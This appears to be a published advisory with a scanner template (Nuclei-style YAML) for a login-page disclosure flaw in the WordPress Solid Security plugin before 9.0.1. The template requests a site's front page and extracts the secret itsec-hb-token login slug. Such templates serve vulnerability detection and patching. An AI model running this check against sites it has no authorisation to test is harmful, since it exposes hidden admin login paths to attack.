wp-better-wp-security-login-disclosure: WordPress Solid Security < 9.0.1 - Unauthenticated Login Page Disclosure

2026-01-08 WordPress Solid Security PoC Public

Description

WordPress Solid Security (formerly iThemes Security/Better WP Security) plugin before 9.0.1 is vulnerable to login page disclosure. When the Hide Backend feature is enabled and comments require user registration, the secret login URL token is exposed in the HTML source via the itsec-hb-token parameter in the comment form login links.

PoC

id: wp-better-wp-security-login-disclosure

info:
  name: WordPress Solid Security < 9.0.1 - Unauthenticated Login Page Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress Solid Security (formerly iThemes Security/Better WP Security) plugin before 9.0.1 is vulnerable to login page disclosure. When the Hide Backend feature is enabled and comments require user registration, the secret login URL token is exposed in the HTML source via the itsec-hb-token parameter in the comment form login links.
  reference:
    - https://wordpress.org/plugins/better-wp-security/
    - https://wpscan.com/vulnerability/b7201fc1-d825-484f-aca9-ba14a968179b/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: wordpress,wp-plugin,wp,exposure,ithemes,solid-security,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "itsec-hb-token=")'
        condition: and

    extractors:
      - type: regex
        name: secret-login-slug
        part: body
        group: 1
        regex:
          - 'itsec-hb-token=([a-zA-Z0-9_-]+)'
# digest: 4b0a004830460221009d0ddf706bfdb081c8a38193b2f3910aae599408bbf878b632739b6e04d743bb022100b43edc259e9f8765b85e83f183c7ec3fa9e8124a5916a287d22a3d04ff3e816b:922c64590222798bb761d5b6d8e72950

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